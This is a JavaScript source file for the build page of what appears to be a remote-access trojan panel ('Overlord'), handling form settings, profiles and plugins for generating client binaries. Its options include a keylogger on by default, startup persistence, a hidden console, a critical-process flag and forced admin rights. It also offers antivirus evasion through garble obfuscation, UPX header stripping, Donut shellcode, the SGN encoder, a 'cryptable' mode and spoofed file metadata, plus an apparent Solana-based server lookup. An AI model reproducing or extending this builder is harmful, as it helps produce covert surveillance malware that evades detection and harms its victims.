import { createBuildProfileManager } from "./build-profile-manager.js"; import { createBuildHistoryManager, formatFileSize, } from "./build-history-manager.js"; const form = document.getElementById("build-form"); const buildBtn = document.getElementById("build-btn"); const buildStatus = document.getElementById("build-status"); const buildStatusText = document.getElementById("build-status-text"); const buildOutputDiv = document.getElementById("build-output"); const buildOutputContainer = document.getElementById("build-output-container"); const buildResults = document.getElementById("build-results"); const buildFilesDiv = document.getElementById("build-files"); const logoutBtn = document.getElementById("logout-btn"); const usernameDisplay = document.getElementById("username-display"); const roleBadge = document.getElementById("role-badge"); const usersLink = document.getElementById("users-link"); const buildLink = document.getElementById("build-link"); const scriptsLink = document.getElementById("scripts-link"); const pluginsLink = document.getElementById("plugins-link"); const rawServerListCheckbox = document.getElementById("raw-server-list"); const serverUrlInput = document.getElementById("server-url"); const serverUrlCurrentBtn = document.getElementById("server-url-current-btn"); const solMemoCheckbox = document.getElementById("sol-memo"); const solSettings = document.getElementById("sol-settings"); const profileSelect = document.getElementById("build-profile-select"); const profileNameInput = document.getElementById("build-profile-name"); const profileSaveBtn = document.getElementById("profile-save-btn"); const profileLoadBtn = document.getElementById("profile-load-btn"); const profileDeleteBtn = document.getElementById("profile-delete-btn"); const profileExportBtn = document.getElementById("profile-export-btn"); const profileImportBtn = document.getElementById("profile-import-btn"); const profileImportFile = document.getElementById("profile-import-file"); const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]'); const persistenceMethodContainer = document.getElementById("persistence-method-container"); const persistenceEmptyState = document.getElementById("persistence-empty-state"); const persistenceWindowsSettings = document.getElementById("persistence-windows-settings"); const persistenceLinuxSettings = document.getElementById("persistence-linux-settings"); const persistenceMacSettings = document.getElementById("persistence-macos-settings"); const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container"); const startupNameMacosHint = document.getElementById("startup-name-macos-hint"); const startupNameDefaultHint = document.getElementById("startup-name-default-hint"); const startupNameError = document.getElementById("startup-name-error"); const platformInputs = document.querySelectorAll('input[name="platform"]'); const buildPluginsSection = document.getElementById("build-plugins-section"); const buildPluginsList = document.getElementById("build-plugins-list"); const buildPluginsCount = document.getElementById("build-plugins-count"); const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section"); const macosSdkFileInput = document.getElementById("macos-sdk-file"); const macosSdkRightsInput = document.getElementById("macos-sdk-rights"); const macosSdkFileStatus = document.getElementById("macos-sdk-file-status"); const macosSdkHostWarning = document.getElementById("macos-sdk-host-warning"); const macosSdkHostPlatform = document.getElementById("macos-sdk-host-platform"); const disableCgoInput = document.querySelector('input[name="disable-cgo"]'); const disableCgoWarning = document.getElementById("disable-cgo-warning"); let currentServerVersion = null; let currentUserRole = null; let currentUsername = null; let showAllBuilds = false; let buildPlugins = []; let macosSdkRequiredForDarwinCgo = false; let macosSdkServerHost = null; async function loadMacosSdkStatus() { try { const res = await fetch("/api/build/macos-sdk/status", { credentials: "include" }); if (!res.ok) return; const data = await res.json(); macosSdkRequiredForDarwinCgo = data.requiredForDarwinCgo === true; macosSdkServerHost = typeof data.hostPlatform === "string" ? data.hostPlatform : null; } catch {} updateMacosSdkVisibility(); } function needsMacosSdkUpload() { const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked')) .some((input) => input.value.startsWith("darwin-")); return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked; } function updateMacosSdkVisibility() { const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked')) .some((input) => input.value.startsWith("darwin-")); const cgoEnabled = !document.querySelector('input[name="disable-cgo"]')?.checked; macosSdkUploadSection?.classList.toggle("hidden", !needsMacosSdkUpload()); const unsupportedHost = hasDarwin && cgoEnabled && !!macosSdkServerHost && macosSdkServerHost !== "linux" && macosSdkServerHost !== "darwin"; macosSdkHostWarning?.classList.toggle("hidden", !unsupportedHost); if (macosSdkHostPlatform && unsupportedHost) macosSdkHostPlatform.textContent = macosSdkServerHost; } function updateDisableCgoWarning() { disableCgoWarning?.classList.toggle("hidden", !disableCgoInput?.checked); } async function uploadMacosSdk() { const file = macosSdkFileInput?.files?.[0]; if (!file) throw new Error("Select a macOS SDK archive for this Darwin CGO build"); if (!macosSdkRightsInput?.checked) throw new Error("Confirm that you have permission to use the uploaded macOS SDK"); if (file.size > 1024 * 1024 * 1024) throw new Error("macOS SDK archive exceeds the 1 GB limit"); if (macosSdkFileStatus) macosSdkFileStatus.textContent = `Uploading ${file.name} (${formatFileSize(file.size)})...`; const res = await fetch("/api/build/macos-sdk/upload", { method: "POST", credentials: "include", headers: { "Content-Type": "application/octet-stream", "X-Overlord-Filename": encodeURIComponent(file.name), "X-Overlord-Sdk-Rights": "confirmed", }, body: file, }); const data = await res.json().catch(() => ({})); if (!res.ok) throw new Error(data.error || "macOS SDK upload failed"); if (macosSdkFileStatus) macosSdkFileStatus.textContent = `${file.name} uploaded; validating during the build.`; return data.uploadId; } async function loadSolRpcEndpoints() { const field = document.getElementById("sol-rpc-endpoints"); if (!field || field.value.trim()) return; try { const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" }); if (!res.ok) return; const data = await res.json(); const endpoints = Array.isArray(data?.endpoints) ? data.endpoints.map((item) => String(item || "").trim()).filter(Boolean) : []; field.value = endpoints.join("\n"); } catch {} } async function loadServerVersion() { try { const res = await fetch("/api/version", { credentials: "include" }); if (!res.ok) { currentServerVersion = null; return; } const payload = await res.json(); const version = typeof payload?.version === "string" ? payload.version.trim() : ""; currentServerVersion = version || null; } catch { currentServerVersion = null; } } function getDefaultServerUrlPlaceholder(isRawList) { if (isRawList) { return getCurrentRawServerListUrl(); } return ""; } function getCurrentServerHost() { return window.location.host || window.location.hostname || ""; } function getCurrentRawServerListUrl() { const protocol = window.location.protocol === "https:" ? "https" : "http"; const host = getCurrentServerHost(); return host ? `${protocol}://${host}/list.txt` : ""; } function getCurrentServerUrlForMode() { return getCurrentServerHost(); } function stripServerUrlPrefix(value) { return String(value || "").replace(/^\s*(wss?|https?):\/\//i, "").trimStart(); } function updateServerUrlHintMode() { const isRaw = rawServerListCheckbox?.checked ?? false; const normalHint = document.getElementById("server-url-hint"); const rawHint = document.getElementById("server-url-raw-hint"); if (normalHint) normalHint.classList.toggle("hidden", isRaw); if (rawHint) rawHint.classList.toggle("hidden", !isRaw); } function updateServerUrlPlaceholder() { if (!serverUrlInput) return; const isRaw = rawServerListCheckbox?.checked ?? false; serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw); updateServerUrlCurrentButton(); updateServerUrlHintMode(); } function updateServerUrlCurrentButton() { if (!serverUrlCurrentBtn) return; const isRaw = rawServerListCheckbox?.checked ?? false; serverUrlCurrentBtn.classList.toggle("hidden", isRaw); serverUrlCurrentBtn.disabled = isRaw; } let isBuilding = false; function initAccordions() { document.querySelectorAll(".accordion-section").forEach((section) => { const header = section.querySelector(".accordion-header"); const body = section.querySelector(".accordion-body"); const chevron = section.querySelector(".accordion-chevron"); const startOpen = section.dataset.open !== "false"; if (!startOpen) { body.classList.add("collapsed"); } else { chevron.classList.add("rotated"); } header.addEventListener("click", () => { const nowCollapsed = body.classList.toggle("collapsed"); chevron.classList.toggle("rotated", !nowCollapsed); }); }); } function initBuilderTabs() { const tabs = document.querySelectorAll(".builder-tab[data-builder-tab]"); const panels = document.querySelectorAll("[data-builder-panel]"); function switchTab(tabName) { tabs.forEach((t) => { t.setAttribute("aria-selected", t.dataset.builderTab === tabName ? "true" : "false"); }); panels.forEach((p) => { if (p.dataset.builderPanel === tabName) { p.removeAttribute("hidden"); } else { p.setAttribute("hidden", ""); } }); } tabs.forEach((tab) => { tab.addEventListener("click", () => { switchTab(tab.dataset.builderTab); }); }); const defaultTab = document.querySelector('.builder-tab[aria-selected="true"]'); if (defaultTab) { switchTab(defaultTab.dataset.builderTab); } } function updateWindowsSectionVisibility() { const windowsSection = document.getElementById("windows-settings-section"); if (!windowsSection) return; const hasWindows = Array.from( document.querySelectorAll('input[name="platform"]:checked'), ).some((el) => el.value.startsWith("windows-")); windowsSection.classList.toggle("hidden", !hasWindows); } function pluginSettingInputId(pluginId, key) { return `build-plugin-${pluginId}-${key}`.replace(/[^A-Za-z0-9_-]/g, "-"); } function buildPluginCurrentSettings(plugin) { const settings = {}; for (const setting of plugin.build?.settings || []) { const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${setting.key}"]`); if (!el) continue; if (setting.type === "boolean") settings[setting.key] = !!el.checked; else if (setting.type === "number") settings[setting.key] = Number(el.value || setting.default || 0); else settings[setting.key] = el.value; } return settings; } function collectBuildPluginSettings() { const result = {}; for (const plugin of buildPlugins) { const enabledEl = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`); result[plugin.id] = { enabled: enabledEl ? !!enabledEl.checked : plugin.build?.enabledByDefault !== false, settings: buildPluginCurrentSettings(plugin), }; } return result; } function setBuildField(field, value) { const fieldMap = { useDonut: "#donut-mode", donutSingleThreaded: "#donut-single-threaded", donutExitMode: "#donut-exit-mode", donutEntropy: "#donut-entropy", donutPreserveHeaders: "#donut-preserve-headers", donutResumeOffset: "#donut-resume-offset", useLinuxShellcode: "#linux-shellcode-mode", shellcodeConsole: "#shellcode-console", useSgn: "#sgn-mode", enableUpx: 'input[name="enable-upx"]', upxStripHeaders: 'input[name="upx-strip-headers"]', obfuscate: 'input[name="obfuscate"]', garbleLiterals: 'input[name="garble-literals"]', garbleTiny: 'input[name="garble-tiny"]', disableCgo: 'input[name="disable-cgo"]', enableNvenc: 'input[name="enable-nvenc"]', enableAmf: 'input[name="enable-amf"]', enableQsv: 'input[name="enable-qsv"]', stripDebug: 'input[name="strip-debug"]', noPrinting: 'input[name="no-printing"]', enableWebrtc: 'input[name="enable-webrtc"]', enableWinRE: 'input[name="enable-winre"]', fetchPublicIP: 'input[name="fetch-public-ip"]', enablePersistence: 'input[name="enable-persistence"]', hideConsole: 'input[name="hide-console"]', requireAdmin: 'input[name="require-admin"]', criticalProcess: 'input[name="critical-process"]', outputName: "#output-name", outputExtension: "#output-extension", sgnIterations: "#sgn-iterations", sleepSeconds: "#sleep-seconds", }; const selector = fieldMap[field] || `#${field}`; const el = document.querySelector(selector); if (!el) return; if (el.type === "checkbox") el.checked = !!value; else el.value = String(value ?? ""); el.dispatchEvent(new Event("change", { bubbles: true })); el.dispatchEvent(new Event("input", { bubbles: true })); if (field === "useDonut") applyDonutMode(!!value); if (field === "useLinuxShellcode") applyLinuxShellcodeMode(!!value); if (field === "useSgn") applySgnMode(!!value); } function getRequirementValue(req, plugin) { if (req.field) { const settings = collectFormSettings(); return req.field.split(".").reduce((cur, key) => cur && cur[key], settings); } if (req.pluginSetting) { const settings = buildPluginCurrentSettings(plugin); return req.pluginSetting.split(".").reduce((cur, key) => cur && cur[key], settings); } return undefined; } function buildRequirementMet(req, plugin) { if (Array.isArray(req.platforms)) { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); return req.platforms.some((platform) => selected.includes(platform)); } const value = getRequirementValue(req, plugin); if (req.truthy === true && !value) return false; if (req.falsy === true && value) return false; if (Object.prototype.hasOwnProperty.call(req, "equals") && value !== req.equals) return false; if (Object.prototype.hasOwnProperty.call(req, "notEquals") && value === req.notEquals) return false; if (Object.prototype.hasOwnProperty.call(req, "includes")) { if (!Array.isArray(value) || !value.includes(req.includes)) return false; } return true; } function validateBuildPluginRequirements() { const messages = []; for (const plugin of buildPlugins) { const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`)?.checked; if (!enabled) continue; for (const req of plugin.build?.requires || []) { if (!buildRequirementMet(req, plugin)) { messages.push(req.message || `${plugin.name} has unmet build requirements`); } } } return messages; } function renderBuildPluginSetting(plugin, setting) { const id = pluginSettingInputId(plugin.id, setting.key); const wrap = document.createElement("label"); wrap.className = "flex flex-col gap-1 text-sm"; const label = document.createElement("span"); label.className = "text-slate-300 font-medium"; label.textContent = setting.label || setting.key; wrap.appendChild(label); let input; if (setting.type === "boolean") { wrap.className = "flex items-center gap-2 text-sm text-slate-300"; input = document.createElement("input"); input.type = "checkbox"; input.checked = !!setting.default; input.className = "w-4 h-4"; wrap.innerHTML = ""; wrap.appendChild(input); wrap.appendChild(label); } else if (setting.type === "select") { input = document.createElement("select"); input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; for (const opt of setting.options || []) { const option = document.createElement("option"); option.value = typeof opt === "string" ? opt : opt.value; option.textContent = typeof opt === "string" ? opt : (opt.label || opt.value); input.appendChild(option); } if (setting.default !== undefined) input.value = String(setting.default); wrap.appendChild(input); } else if (setting.type === "textarea") { input = document.createElement("textarea"); input.rows = 3; input.value = setting.default !== undefined ? String(setting.default) : ""; input.placeholder = setting.placeholder || ""; input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; wrap.appendChild(input); } else { input = document.createElement("input"); input.type = setting.type === "number" ? "number" : "text"; if (setting.min !== undefined) input.min = String(setting.min); if (setting.max !== undefined) input.max = String(setting.max); input.value = setting.default !== undefined ? String(setting.default) : ""; input.placeholder = setting.placeholder || ""; input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; wrap.appendChild(input); } input.id = id; input.dataset.buildPluginId = plugin.id; input.dataset.buildSettingKey = setting.key; input.addEventListener("input", saveFormSettings); input.addEventListener("change", saveFormSettings); if (setting.description) { const desc = document.createElement("span"); desc.className = "text-xs text-slate-500"; desc.textContent = setting.description; wrap.appendChild(desc); } return wrap; } function renderBuildPlugins() { if (!buildPluginsSection || !buildPluginsList) return; buildPluginsList.innerHTML = ""; if (buildPlugins.length === 0) { buildPluginsSection.classList.add("hidden"); return; } buildPluginsSection.classList.remove("hidden"); if (buildPluginsCount) buildPluginsCount.textContent = `${buildPlugins.length} available`; for (const plugin of buildPlugins) { const card = document.createElement("div"); card.className = "rounded-lg border border-slate-700 bg-slate-800/40 p-3 flex flex-col gap-3"; const top = document.createElement("div"); top.className = "flex items-start justify-between gap-3"; const title = document.createElement("div"); const nameEl = document.createElement("div"); nameEl.className = "font-medium text-slate-100"; nameEl.textContent = plugin.build?.label || plugin.name; title.appendChild(nameEl); if (plugin.build?.description) { const desc = document.createElement("div"); desc.className = "text-xs text-slate-500 mt-1"; desc.textContent = plugin.build.description; title.appendChild(desc); } const toggle = document.createElement("label"); toggle.className = "flex items-center gap-2 text-xs text-slate-300 cursor-pointer"; const cb = document.createElement("input"); cb.type = "checkbox"; cb.checked = plugin.build?.enabledByDefault !== false; cb.dataset.buildPluginEnable = plugin.id; cb.className = "w-4 h-4"; cb.addEventListener("change", saveFormSettings); toggle.appendChild(cb); toggle.appendChild(document.createTextNode("Enabled")); top.appendChild(title); top.appendChild(toggle); card.appendChild(top); if (plugin.build?.settings?.length) { const grid = document.createElement("div"); grid.className = "grid grid-cols-1 md:grid-cols-2 gap-3"; for (const setting of plugin.build.settings) grid.appendChild(renderBuildPluginSetting(plugin, setting)); card.appendChild(grid); } if (plugin.build?.actions?.length) { const actions = document.createElement("div"); actions.className = "flex flex-wrap gap-2"; for (const action of plugin.build.actions) { const btn = document.createElement("button"); btn.type = "button"; btn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-fuchsia-700 hover:bg-fuchsia-600 text-white text-sm transition-colors"; const icon = document.createElement("i"); icon.className = action.icon || "fa-solid fa-wand-magic-sparkles"; const text = document.createElement("span"); text.textContent = action.label; btn.appendChild(icon); btn.appendChild(text); if (action.description) btn.title = action.description; btn.addEventListener("click", () => { for (const req of action.requires || []) { if (!buildRequirementMet(req, plugin)) { alert(req.message || "This action requires other build settings first."); return; } } for (const [field, value] of Object.entries(action.setBuild || {})) setBuildField(field, value); for (const [key, value] of Object.entries(action.setSettings || {})) { const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`); if (!el) continue; if (el.type === "checkbox") el.checked = !!value; else el.value = String(value ?? ""); el.dispatchEvent(new Event("change", { bubbles: true })); } saveFormSettings(); }); actions.appendChild(btn); } card.appendChild(actions); } buildPluginsList.appendChild(card); } } function applyBuildPluginSettings(settings) { if (!settings || typeof settings !== "object") return; for (const plugin of buildPlugins) { const saved = settings[plugin.id]; if (!saved || typeof saved !== "object") continue; const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`); if (enabled && saved.enabled !== undefined) enabled.checked = !!saved.enabled; for (const [key, value] of Object.entries(saved.settings || {})) { const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`); if (!el) continue; if (el.type === "checkbox") el.checked = !!value; else el.value = String(value ?? ""); } } } async function loadBuildPlugins() { try { const res = await fetch("/api/build/plugins", { credentials: "include" }); if (!res.ok) return; const data = await res.json(); buildPlugins = Array.isArray(data.plugins) ? data.plugins : []; renderBuildPlugins(); try { const raw = localStorage.getItem(BUILD_SETTINGS_KEY); if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins); } catch {} } catch (err) { console.warn("Failed to load build plugins:", err); } } const BUILD_SETTINGS_KEY = "overlord_build_settings"; function collectFormSettings() { return { platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })), serverUrl: document.getElementById("server-url")?.value ?? "", rawServerList: document.getElementById("raw-server-list")?.checked ?? false, solMemo: document.getElementById("sol-memo")?.checked ?? false, solAddress: document.getElementById("sol-address")?.value ?? "", solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "", outputName: document.getElementById("output-name")?.value ?? "", initialClientTag: document.getElementById("initial-client-tag")?.value ?? "", iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "", mutex: document.getElementById("mutex")?.value ?? "", disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false, stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true, disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false, enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true, enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true, enableQsv: document.querySelector('input[name="enable-qsv"]')?.checked ?? true, noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false, fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false, garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false, garbleSeed: document.getElementById("garble-seed")?.value ?? "", enableUpx: document.querySelector('input[name="enable-upx"]')?.checked ?? false, upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false, sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0", enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false, persistenceMethods: Array.from(document.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value), startupName: document.getElementById("startup-name")?.value ?? "", hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false, requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false, criticalProcess: document.querySelector('input[name="critical-process"]')?.checked ?? false, assemblyTitle: document.getElementById("assembly-title")?.value ?? "", assemblyProduct: document.getElementById("assembly-product")?.value ?? "", assemblyCompany: document.getElementById("assembly-company")?.value ?? "", assemblyVersion: document.getElementById("assembly-version")?.value ?? "", assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "", outputExtension: document.getElementById("output-extension")?.value ?? ".exe", cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false, useDonut: document.getElementById("donut-mode")?.checked ?? false, donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked ?? false, donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined, donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined, donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked ?? false, donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined, useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false, shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false, useSgn: document.getElementById("sgn-mode")?.checked ?? false, sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, buildPlugins: collectBuildPluginSettings(), }; } function applyFormSettings(settings) { if (!settings || typeof settings !== "object") return; const setVal = (id, val) => { const el = document.getElementById(id); if (el && val !== undefined && val !== null) el.value = String(val); }; const setCb = (sel, val) => { const el = document.querySelector(sel); if (el && val !== undefined) el.checked = !!val; }; if (Array.isArray(settings.platforms)) { settings.platforms.forEach(({ value, checked }) => { const el = document.querySelector(`input[name="platform"][value="${value}"]`); if (el) el.checked = !!checked; }); } if (settings.serverUrl !== undefined) { const isRaw = !!settings.rawServerList; setVal("server-url", isRaw ? settings.serverUrl : stripServerUrlPrefix(settings.serverUrl)); } if (settings.rawServerList !== undefined) setCb("#raw-server-list", settings.rawServerList); if (settings.solMemo !== undefined) setCb("#sol-memo", settings.solMemo); if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress); if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints); if (settings.outputName !== undefined) setVal("output-name", settings.outputName); if (settings.initialClientTag !== undefined) setVal("initial-client-tag", settings.initialClientTag); if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId); if (settings.mutex !== undefined) setVal("mutex", settings.mutex); if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex); if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug); if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo); if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc); if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf); if (settings.enableQsv !== undefined) setCb('input[name="enable-qsv"]', settings.enableQsv); if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE); if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals); if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny); if (settings.garbleSeed !== undefined) setVal("garble-seed", settings.garbleSeed); if (settings.enableUpx !== undefined) setCb('input[name="enable-upx"]', settings.enableUpx); if (settings.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', settings.upxStripHeaders); if (settings.sleepSeconds !== undefined) setVal("sleep-seconds", settings.sleepSeconds); if (settings.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', settings.enablePersistence); if (Array.isArray(settings.persistenceMethods)) { document.querySelectorAll('input[name="persistence-method"]').forEach((el) => { el.checked = settings.persistenceMethods.includes(el.value); }); } if (settings.startupName !== undefined) setVal("startup-name", settings.startupName); if (settings.hideConsole !== undefined) setCb('input[name="hide-console"]', settings.hideConsole); if (settings.requireAdmin !== undefined) setCb('input[name="require-admin"]', settings.requireAdmin); if (settings.criticalProcess !== undefined) setCb('input[name="critical-process"]', settings.criticalProcess); if (settings.assemblyTitle !== undefined) setVal("assembly-title", settings.assemblyTitle); if (settings.assemblyProduct !== undefined) setVal("assembly-product", settings.assemblyProduct); if (settings.assemblyCompany !== undefined) setVal("assembly-company", settings.assemblyCompany); if (settings.assemblyVersion !== undefined) setVal("assembly-version", settings.assemblyVersion); if (settings.assemblyCopyright !== undefined) setVal("assembly-copyright", settings.assemblyCopyright); if (settings.outputExtension !== undefined) setVal("output-extension", settings.outputExtension); if (settings.cryptableMode !== undefined) setCb("#cryptable-mode", settings.cryptableMode); if (settings.useDonut !== undefined) { setCb("#donut-mode", settings.useDonut); if (settings.useDonut) applyDonutMode(true); } if (settings.donutSingleThreaded !== undefined) setCb("#donut-single-threaded", settings.donutSingleThreaded); if (settings.donutExitMode !== undefined) setVal("donut-exit-mode", settings.donutExitMode); if (settings.donutEntropy !== undefined) setVal("donut-entropy", settings.donutEntropy); if (settings.donutPreserveHeaders !== undefined) setCb("#donut-preserve-headers", settings.donutPreserveHeaders); if (settings.donutResumeOffset !== undefined) setVal("donut-resume-offset", settings.donutResumeOffset); if (settings.useLinuxShellcode !== undefined) { setCb("#linux-shellcode-mode", settings.useLinuxShellcode); if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true); } if (settings.shellcodeConsole !== undefined) setCb("#shellcode-console", settings.shellcodeConsole); if (settings.useSgn !== undefined) { setCb("#sgn-mode", settings.useSgn); if (settings.useSgn) applySgnMode(true); } if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations); if (settings.buildPlugins !== undefined) applyBuildPluginSettings(settings.buildPlugins); const restoredObfuscate = document.querySelector('input[name="obfuscate"]'); const garbleContainer = document.getElementById("garble-settings-container"); if (restoredObfuscate && garbleContainer) { garbleContainer.classList.toggle("hidden", !restoredObfuscate.checked); } const restoredUpx = document.querySelector('input[name="enable-upx"]'); const upxContainer = document.getElementById("upx-settings-container"); if (restoredUpx && upxContainer) { upxContainer.classList.toggle("hidden", !restoredUpx.checked); } updateWindowsSectionVisibility(); updateIosSectionVisibility(); updatePersistenceSettingsVisibility(); updateShellcodeCheckboxVisibility(); updateDisableCgoWarning(); updateMacosSdkVisibility(); if (solMemoCheckbox && solSettings) { solSettings.classList.toggle("hidden", !solMemoCheckbox.checked); } if (serverUrlInput && rawServerListCheckbox) { updateServerUrlPlaceholder(); } applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false); } function saveFormSettings() { try { const settings = collectFormSettings(); localStorage.setItem(BUILD_SETTINGS_KEY, JSON.stringify(settings)); } catch (err) { console.error("Failed to save form settings:", err); } } function restoreFormSettings() { try { const raw = localStorage.getItem(BUILD_SETTINGS_KEY); if (!raw) return; const settings = JSON.parse(raw); applyFormSettings(settings); } catch (err) { console.error("Failed to restore form settings:", err); } } const buildProfileManager = createBuildProfileManager({ elements: { profileSelect, profileNameInput, profileSaveBtn, profileLoadBtn, profileDeleteBtn, profileExportBtn, profileImportBtn, profileImportFile, }, collectFormSettings, applyFormSettings, saveFormSettings, }); const { loadBuildProfiles } = buildProfileManager; const buildHistoryManager = createBuildHistoryManager({ buildResults, buildFilesDiv, getCurrentServerVersion: () => currentServerVersion, getCurrentUserRole: () => currentUserRole, getShowAllBuilds: () => showAllBuilds, }); const { displayBuild, loadSavedBuilds, saveBuildToStorage, } = buildHistoryManager; const CRYPTABLE_DISABLE_TARGETS = [ 'input[name="enable-persistence"]', 'input[name="enable-upx"]', 'input[name="upx-strip-headers"]', 'input[name="require-admin"]', 'input[name="critical-process"]', ]; const CRYPTABLE_DISABLE_INPUTS = [ "#assembly-title", "#assembly-product", "#assembly-company", "#assembly-version", "#assembly-copyright", "#output-extension", "#sleep-seconds", ]; const CRYPTABLE_HIDE_SECTIONS = [5, 6, 7]; function applyCryptableMode(enabled) { const badge = document.getElementById("cryptable-badge"); if (badge) badge.classList.toggle("hidden", !enabled); CRYPTABLE_DISABLE_TARGETS.forEach((sel) => { const el = document.querySelector(sel); if (!el) return; if (enabled) { el.checked = false; el.disabled = true; el.closest("label")?.classList.add("opacity-40", "pointer-events-none"); } else { el.disabled = false; el.closest("label")?.classList.remove("opacity-40", "pointer-events-none"); } }); CRYPTABLE_DISABLE_INPUTS.forEach((sel) => { const el = document.querySelector(sel); if (!el) return; if (enabled) { el.dataset.preCryptableValue = el.value; el.value = el.type === "number" ? "0" : ""; el.disabled = true; el.classList.add("opacity-40"); } else { if (el.dataset.preCryptableValue !== undefined) { el.value = el.dataset.preCryptableValue; delete el.dataset.preCryptableValue; } el.disabled = false; el.classList.remove("opacity-40"); } }); const iconUploadEl = document.getElementById("icon-upload"); const iconLabelEl = document.getElementById("icon-label"); if (iconUploadEl) iconUploadEl.disabled = enabled; if (iconLabelEl && enabled) iconLabelEl.closest("label")?.classList.toggle("opacity-40", enabled); if (iconLabelEl && !enabled) iconLabelEl.closest("label")?.classList.remove("opacity-40"); const cloneExeUploadEl = document.getElementById("clone-exe-upload"); if (cloneExeUploadEl) cloneExeUploadEl.disabled = enabled; if (cloneExeUploadEl) cloneExeUploadEl.closest("label")?.classList.toggle("opacity-40", enabled); const bindAddLabelEl = document.getElementById("bind-add-label"); if (bindAddLabelEl) { bindAddLabelEl.classList.toggle("opacity-40", enabled); bindAddLabelEl.classList.toggle("pointer-events-none", enabled); } const sections = document.querySelectorAll(".accordion-section"); CRYPTABLE_HIDE_SECTIONS.forEach((idx) => { const sec = sections[idx - 1]; if (!sec) return; if (enabled) { sec.classList.add("opacity-30", "pointer-events-none"); sec.dataset.cryptableDisabled = "true"; } else { sec.classList.remove("opacity-30", "pointer-events-none"); delete sec.dataset.cryptableDisabled; } }); if (enabled) { updatePersistenceSettingsVisibility(); const upxC = document.getElementById("upx-settings-container"); if (upxC) upxC.classList.add("hidden"); } 